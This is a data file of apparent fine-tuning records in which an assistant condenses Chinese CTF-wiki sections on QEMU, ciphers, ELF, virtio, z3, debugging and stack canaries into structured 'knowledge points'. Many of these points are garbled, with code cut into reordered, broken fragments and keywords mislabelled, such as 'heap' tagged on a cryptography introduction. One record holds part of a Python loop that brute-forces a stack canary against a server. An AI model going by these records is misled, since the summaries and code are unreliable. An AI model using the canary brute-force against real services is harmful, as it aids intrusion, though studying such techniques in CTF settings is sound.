"0cce4922bb96dc05c163bcf7d51b7f922f5eec0a174642d7ed18962b3e4bcd38", "split": "train", "split_group_key": "f33c58d655915a77d462b615", "subcategory": "reverse/platform/linux", "terms": ["AI安全", "reverse", "platform", "linux", "detect-dbg.md"], "title": "Detecting debugging"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/detect-dbg.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-be310b4eda966a9ad8f6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/basic-knowledge/mm.md` 中的章节「AddressSpace：不同类型的 Guest 地址空间」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/basic-knowledge/mm.md`\n标题：QEMU 内存管理\n章节：QEMU 内存管理 > Guest VM 视角（GPA） > AddressSpace：不同类型的 Guest 地址空间\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“AddressSpace：不同类型的 Guest 地址空间”展开。\n- QTAILQ_ENTRY(AddressSpace) address_spaces_link;\n- QTAILQ_HEAD(, MemoryListener) listeners;\n- `` 最终我们可以得到如下总览图： [图片文件: ./figure/qemu_mm.png]\n- ``c /* struct AddressSpace: describes a mapping of addresses to #MemoryRegion objects / struct AddressSpace { / private: / struct rcu_head rcu;\n- AddressSpace 结构体用以表示 Guest 视角不同类型的地址空间，在 x86 下其实就只有两种：address_space_memory 与 address_space_io。\n\n关键术语：\n- AI安全\n- pwn\n- virtualization\n- qemu\n- basic-knowledge\n- code:c\n\n代码/命令片段线索：\n- c: 15 行，首行 `/**`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 640, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "AddressSpace：不同类型的 Guest 地址空间", "heading_path": ["QEMU 内存管理", "Guest VM 视角（GPA）", "AddressSpace：不同类型的 Guest 地址空间"], "original_id": "docs-d51cec35ba3c43ec2334", "original_line": 1426, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/basic-knowledge/mm.md", "source_root": "docs", "source_sha256": "b0f49a5297d0248bb6c398aae5db06293db7c6aa0ea8235507cd7252e3b7b406", "split": "train", "split_group_key": "ee0754b8e516101e46ef7970", "subcategory": "pwn/virtualization/qemu", "terms": ["AI安全", "pwn", "virtualization", "qemu", "basic-knowledge", "code:c"], "title": "QEMU 内存管理"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/basic-knowledge/mm.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-bfdf5a4166431e524813", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/polyalphabetic.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/polyalphabetic.md`\n标题：多表代换加密\n章节：多表代换加密 > AutokeyCipher > 原理\n路径分类：crypto / crypto/classical/polyalphabetic.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 自动密钥密码（Autokey Cipher）也是多表替换密码，与维吉尼亚密码密码类似，但使用不同的方法生成密钥。\n- 下面我们以关键词自动密钥为例： `` 明文：THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG 关键词：CULTURE ` 自动生成密钥： ` CULTURE THE QUICK BROWN FOX JUMPS OVER THE ` 接下来的加密过程和维吉尼亚密码类似，从相应的表格可得： 密文 ` VBP JOZGD IVEQV HYY AIICX CSNL FWW ZVDP WVK ``\n- 自动密钥密码主要有两种，关键词自动密钥密码和原文自动密钥密码。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- classical\n- polyalphabetic.md\n\n代码/命令片段线索：\n- plain: 2 行，首行 `明文：THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG`\n- plain: 1 行，首行 `CULTURE THE QUICK BROWN FOX JUMPS OVER THE`\n- plain: 1 行，首行 `VBP JOZGD IVEQV HYY AIICX CSNL FWW ZVDP WVK`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 334, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "原理", "heading_path": ["多表代换加密", "AutokeyCipher", "原理"], "original_id": "docs-7b238e19770c08cc9f8d", "original_line": 384, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "source_root": "docs", "source_sha256": "16e9d23649907764bf91530b02b8733cc909e3ba9fa80e74a20055102c0215a0", "split": "train", "split_group_key": "414720b52228fd957b253423", "subcategory": "crypto/classical/polyalphabetic.md", "terms": ["密码学", "AI安全", "crypto", "classical", "polyalphabetic.md"], "title": "多表代换加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-c02d9fb095deafe7df39", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/sections.md` 中的章节「Sections」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/sections.md`\n标题：Sections\n章节：Sections\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Sections”展开。\n- 每一种操作系统都会支持一组链接模型，但这些模型都大致可以分为两种 | 类型 | 描述 | | -------- | ------------------------------------------------------------ | | 静态链接 | 静态链接的文件中所使用的库文件或者第三方库都被静态绑定了，其引用已经被解析了。\n- 加载与链接过程需要目标文件中的信息，并且会将处理后的信息存储在一些特定的节区中，比如 .dynamic 。\n- | 注意： - 以 “.” 开头的节区名称是系统保留的，当然应用程序也可以使用这些节区。\n- | 有一些特殊的节可以支持调试，比如说 .debug 以及 .line 节；\n- 目标文件格式允许定义不在上述列表中的节区，可以包含多个名字相同的节区。\n\n关键术语：\n- AI安全\n- executable\n- elf\n- structure\n- sections.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 1910, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "Sections", "heading_path": ["Sections"], "original_id": "docs-8ae24cf42ffc36b78f1c", "original_line": 483, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/sections.md", "source_root": "docs", "source_sha256": "1636524470a7168019ac72097636d74b7335b0ce6a42848d88f371dc8ebbfbdf", "split": "train", "split_group_key": "f4e4c9d38c954ac590ad3b9a", "subcategory": "executable/elf/structure", "terms": ["AI安全", "executable", "elf", "structure", "sections.md"], "title": "Sections"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/sections.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-c04a3ea228109d52209b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/experience.md` 中的章节「服务 patch 与防御」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/experience.md`\n标题：线下攻防经验小结\n章节：线下攻防经验小结 > 服务 patch 与防御\n路径分类：introduction / introduction/experience.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“服务 patch 与防御”展开。\n- 在上传 patch 的时候应该先删除原来的漏洞程序，然后将 patch 过的程序复制进去，复制进去之后还需要给程序赋予相应的权限。\n- 3. 在 patch 程序时要记得备份原来的漏洞程序，以供队伍分析使用。\n- 4. 一般比赛中，漏洞程序会有十几处需要 patch 的地方。\n- 2. 程序 patch 使用 IDA 进行修改，IDA 提供了三种方式的 patch：byte，word，assemble.其中字节码修改比较好用。\n- Patch 的时候不仅要讲究有效合理，还要满足能够在一定程度上防范或混淆对手的分析。\n\n关键术语：\n- 修复/缓解\n- 漏洞利用\n- experience.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 456, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "服务 patch 与防御", "heading_path": ["线下攻防经验小结", "服务 patch 与防御"], "original_id": "docs-ef6ec31ac37951f54329", "original_line": 523, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/experience.md", "source_root": "docs", "source_sha256": "e592320dcfc0ecda96a25a0b459d8a88f3cc2a78f546ee90f9c36ef295764e89", "split": "train", "split_group_key": "30ed76c4874f295b3cb7cef1", "subcategory": "introduction/experience.md", "terms": ["修复/缓解", "漏洞利用", "experience.md"], "title": "线下攻防经验小结"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/experience.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-c07b94707da50cc71330", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/io-virtualization.md` 中的章节「VRing：virtqueue 的基本结构」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/io-virtualization.md`\n标题：IO 虚拟化\n章节：IO 虚拟化 > 软件半虚拟化 - virtio > VRing：virtqueue 的基本结构\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“VRing：virtqueue 的基本结构”展开。\n- virtqueue 核心的数据结构便是 vring，这是一个环形缓冲区队列，其由三部分组成： - 描述符表（Desc） - 可用描述符数组（Avail） - 已用描述符数组（Used） [图片文件: ./figure/vring.png] 一个描述符（Descriptor）为如下结构，表示了一块 buffer 的基本属性，需要注意的是一个 Avail/Used 表项通常是多个 descriptor 串联的 buffer——这便是 next 域的作用： ``c struct vring_desc { __u64...\n- ` Avail 数组用来存储当前可用的描述符： `c struct vring_avail { __u16 flags;\n- ` Avail 数组与 Used 数组同样是一个环形队列，不过这两个数组分别由通信的两方进行使用： - 数据发送方准备好数据后从 Avail 队列 中获取可用的表项，更新描述符表，并在 Used 队列 中插入新的表项，通知接收方有数据到达。\n- 数据接收方从 Used 队列 中取出表项，读取描述符表以获取数据，完成处理后将表项插入到 Avail 队列` 中。\n- 下图为由 Guest 向 Host 发送数据的一个 vring 示例： [图片文件: ./figure/vring_example.png]\n\n关键术语：\n- AI安全\n- pwn\n- virtualization\n- basic-knowledge\n- io-virtualization.md\n- code:c\n\n代码/命令片段线索：\n- c: 7 行，首行 `struct vring_desc`\n- c: 6 行，首行 `struct vring_avail`\n- c: 11 行，首行 `struct vring_used_elem`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 925, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "VRing：virtqueue 的基本结构", "heading_path": ["IO 虚拟化", "软件半虚拟化 - virtio", "VRing：virtqueue 的基本结构"], "original_id": "docs-c6b466b2a667e6fb7a21", "original_line": 1412, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "source_root": "docs", "source_sha256": "ff9b01703451d093829def71a27f03c2cc2aac081cf073a0628e028fe37eb910", "split": "train", "split_group_key": "5b44da5aa69a9f64bb6f6e1a", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["AI安全", "pwn", "virtualization", "basic-knowledge", "io-virtualization.md", "code:c"], "title": "IO 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-c107f11fcfc0c8b168cf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/constraint/z3.md` 中的章节「求解」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/constraint/z3.md`\n标题：z3\n章节：z3 > 例题：GWCTF 2019 - xxor > 求解\n路径分类：reverse / reverse/tools/constraint\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“求解”展开。\n- } int main(int argc, char argv, char envp) { uint32_t data[] = { 3746099070, 550153460, 3774025685, 1548802262, 2652626477, 2230518816 };\n- i++) { decrypt(sum, &data[i 2], k);\n- \") ` 结果如下： `shell $ python3 solve.py [x[2] = 3774025685, x[3] = 1548802262, x[4] = 2652626477, x[1] = 550153460, x[5] = 2230518816, x[0] = 3746099070] ` 接下来我们逆着 sub_400686() 的逻辑写出解密程序即可： `c #include  #include  void decrypt(uint32_t sum, u...\n- i++) { v1 -= (v0 + sum + 20) ^ ((v0 << 6) + k[2]) ^ ((v0 >> 9) + k[3]) ^ 0x10;\n- v0 -= (v1 + sum + 11) ^ ((v1 << 6) + k[0]) ^ ((v1 >> 9) + k[1]) ^ 0x20;\n\n关键术语：\n- 密码学\n- AI安全\n- reverse\n- tools\n- constraint\n- z3.md\n- code:python\n- code:shell\n- code:c\n\n代码/命令片段线索：\n- python: 14 行，首行 `x = [0] * 6`\n- shell: 7 行，首行 `$ python3 solve.py`\n- c: 34 行，首行 `#include `\n- shell: 2 行，首行 `$ ./solve`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1584, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "求解", "heading_path": ["z3", "例题：GWCTF 2019 - xxor", "求解"], "original_id": "docs-5132e6944d45cc20396d", "original_line": 1557, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/constraint/z3.md", "source_root": "docs", "source_sha256": "a16b4230e7629ee9b7c69cbd84da478d04a8ace633ef9a03df2a895d982a8ad3", "split": "train", "split_group_key": "1ab042170b82c2e93c211e2b", "subcategory": "reverse/tools/constraint", "terms": ["密码学", "AI安全", "reverse", "tools", "constraint", "z3.md", "code:python", "code:shell", "code:c"], "title": "z3"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/constraint/z3.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-c45d63a2801a81097a03", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/mitigation/canary.md` 中的章节「one-by-one 爆破 Canary」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/mitigation/canary.md`\n标题：Canary\n章节：Bypass Canary > one-by-one 爆破 Canary\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“one-by-one 爆破 Canary”展开。\n- 在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中，作者就是利用这样的方式爆破得到的 Canary: 这是爆破的 Python 代码: ``python print \"[+] Brute forcing stack canary \" start = len(p) stop = len(p)+8 while len(p) < stop: for i in xrange(0,256): res = send2server(p + chr(i)) if res !\n- 我们可以利用这样的特点，彻底逐个字节将 Canary 爆破出来。\n- = \"\": p = p + chr(i) #print \"\\t[+] Byte found 0x%02x\" % i break if i == 255: print \"[-] Exploit failed\" sys.exit(-1) canary = p[stop:start-1:-1].encode(\"hex\") print \" [+] SSP value is 0x%s\" % canary ``\n- 对于 Canary，虽然每次进程重启后的 Canary 不同(相比 GS，GS 重启后是相同的)，但是同一个进程中的不同线程的 Canary 是相同的， 并且 通过 fork 函数创建的子进程的 Canary 也是相同的，因为 fork 函数会直接拷贝父进程的内存。\n\n关键术语：\n- 栈\n- AI安全\n- 修复/缓解\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- mitigation\n- code:python\n\n代码/命令片段线索：\n- python: 15 行，首行 `print \"[+] Brute forcing stack canary \"`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 631, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "one-by-one 爆破 Canary", "heading_path": ["Bypass Canary", "one-by-one 爆破 Canary"], "original_id": "docs-8d847d3bfa06fe0be657", "original_line": 1218, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/mitigation/canary.md", "source_root": "docs", "source_sha256": "fd483489fe6434a429bc966cdf2ad1ac48dd3cd1339d785938a8eab0c1e2d43f", "split": "train", "split_group_key": "e324330a8da4c087263c9643", "subcategory": "pwn/linux/user-mode", "terms": ["栈", "AI安全", "修复/缓解", "漏洞利用", "pwn", "linux", "user-mode", "mitigation", "code:python"], "title": "Canary"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/mitigation/canary.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-c46b12978859bc816db8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md` 中的章节「扫描 & 修补」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md`\n标题：CPU 虚拟化\n章节：CPU 虚拟化 > 纯软件实现 CPU 虚拟化 > 扫描 & 修补\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“扫描 & 修补”展开。\n- 虚拟化场景下的虚拟机大都是与物理机有着相同的 ISA，因此我们并没有必要采用纯模拟的技术实现虚拟机，而是可以让非敏感指令直接在硬件上执行，通过某种方式让非特权敏感指令陷入 VMM，从而重新实现 Trap & Emulate 模型。\n- 文件: ./figure/scan-and-patch.png] 在「扫描 & 修补」技术当中大部分的代码都可以直接在物理 CPU 上运行，其性能损失较小，但「扫描 & 修补」同样存在着一定的缺陷： - 特权指令与敏感指令仍通过模拟执行的方式完成，仍可能造成一定的性能损失 - 代码补丁当中引入了额外的跳转，这破坏了代码的局部性 > 局部性原理：CPU存取指令/数据的内存单元应当趋向于聚集在一个较小的区域 - VMM 需要维护一份补丁代码对应的原始代码的副本，这造成了额外的开销\n- 扫描 & 修补（Scan & Patch）便是这样的一种技术，其让非敏感指令直接在硬件上执行，同时将系统代码中的敏感指令替换为跳转指令等能陷入 VMM 中的指令，从而让 VM 在执行敏感指令时能陷入 VMM，使得 VMM 能够模拟执行敏感指令的效果。\n- 基本执行流程如下： - VMM 在 VM 执行每段代码之前对其进行扫描，解析每一条指令，查找特权与敏感指令 - VMM 动态生成相应指令的补丁代码，并将原敏感指令替换为一个外跳转以陷入 VMM，从而在 VMM 中执行动态生成的补丁代码 - 补丁代码执行结束后，再跳转回 VM 中继续执行下一条代码 [图片: 扫描 & 修补;\n\n关键术语：\n- AI安全\n- 修复/缓解\n- pwn\n- virtualization\n- basic-knowledge\n- cpu-virtualization.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 671, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "扫描 & 修补", "heading_path": ["CPU 虚拟化", "纯软件实现 CPU 虚拟化", "扫描 & 修补"], "original_id": "docs-41c3d29454b34be7f4cf", "original_line": 1402, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/cpu-virtualization.md", "source_root": "docs", "source_sha256": "62195df706a3b215353c99b8c10a0bc6fd7a8ba0630c446bc0dd344eae945033", "split": "train", "split_group_key": "c4053261898ba2649354b9f2", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["AI安全", "修复/缓解", "pwn", "virtualization", "basic-knowledge", "cpu-virtualization.md"], "title": "CPU 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/cpu-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-c50c79f5a74043b1bd1c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/linux/detect-dbg.md` 中的章节「gdb test_debug」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/linux/detect-dbg.md`\n标题：Detecting debugging\n章节：gdb test_debug\n路径分类：reverse / reverse/platform/linux\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“gdb test_debug”展开。\n- gdb> bp ptrace Breakpoint 1 at 0x80482c0 gdb> run Breakpoint 1 at 0x400e02f0 ......\n\n关键术语：\n- AI安全\n- reverse\n- platform\n- linux\n- detect-dbg.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `我们简单地断在了ptrace处, 现在输入finish执行到当前函数返回, 回到main函数里`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 522, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "gdb test_debug", "heading_path": ["gdb test_debug"], "original_id": "docs-34e73c11c14aaf3536f0", "original_line": 1493, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/detect-dbg.md", "source_root": "docs", "source_sha256": "0cce4922bb96dc05c163bcf7d51b7f922f5eec0a174642d7ed18962b3e4bcd38", "split": "train", "split_group_key": "f33c58d655915a77d462b615", "subcategory": "reverse/platform/linux", "terms": ["AI安全", "reverse", "platform", "linux", "detect-dbg.md"], "title": "Detecting debugging"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/detect-dbg.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-c790a228e04b8583cbd4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/constraint/z3.md` 中的章节「常量表示」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/constraint/z3.md`\n标题：z3\n章节：z3 > 基本用法 > 常量表示\n路径分类：reverse / reverse/tools/constraint\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“常量表示”展开。\n- 除了 Python 原有的常量数据类型外，我们也可以使用 z3 自带的常量类型参与运算： ``python >>> z3.IntVal(val = 114514) # integer 114514 >>> z3.RealVal(val = 1919810) # real number 1919810 >>> z3.BitVecVal(val = 1145141919810, bv = 32) # bit vector，自动截断 2680619074 >>> z3.BitVecVal(val = 1145141...\n\n关键术语：\n- AI安全\n- reverse\n- tools\n- constraint\n- z3.md\n- code:python\n\n代码/命令片段线索：\n- python: 8 行，首行 `>>> z3.IntVal(val = 114514) # integer`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 308, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "常量表示", "heading_path": ["z3", "基本用法", "常量表示"], "original_id": "docs-549288332508095873d2", "original_line": 1553, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/constraint/z3.md", "source_root": "docs", "source_sha256": "a16b4230e7629ee9b7c69cbd84da478d04a8ace633ef9a03df2a895d982a8ad3", "split": "train", "split_group_key": "fd514db68d6dd1c3aa4873e3", "subcategory": "reverse/tools/constraint", "terms": ["AI安全", "reverse", "tools", "constraint", "z3.md", "code:python"], "title": "z3"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/constraint/z3.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-c90198f53bb8d9cb8536", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/introduction.md` 中的章节「密码学简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/introduction.md`\n标题：密码学简介\n章节：密码学简介\n路径分类：crypto / crypto/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“密码学简介”展开。\n- 而对于密码破解者来说，一般是要想办法识别出密码算法，然后进行暴力破解，或者利用密码体制的漏洞进行破解。\n- note 注：之前在这里曾写过这些攻击常见的场景，随着不断地学习，渐渐意识到这些攻击类型侧重描述攻击者的能力，有可能适用于各种各样的场景。\n- 这里推荐一些资料 - 可汗学院公开课 - 深入浅出密码学——常用加密技术原理与应用 - https://cryptopals.com/，一堆密码学的练习题目。\n- 一般来说，我们都会假设攻击者已知待破解的密码体制，而攻击类型通常分为以下四种： | 攻击类型 | 说明 | | ------------ | ------------------------------------------ | | 唯密文攻击 | 只拥有密文 | | 已知明文攻击 | 拥有密文与对应的明文 | | 选择明文攻击 | 拥有加密权限，能够对明文加密后获得相应密文 | | 选择密文攻击 | 拥有解密权限，能够对密文解密后获得相应明文 | !\n- 其中，古典密码学，作为一种实用性艺术存在，其编码和破译通常依赖于设计者和敌手的创造力与技巧，并没有对密码学原件进行清晰的定义。\n\n关键术语：\n- 堆\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1609, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, 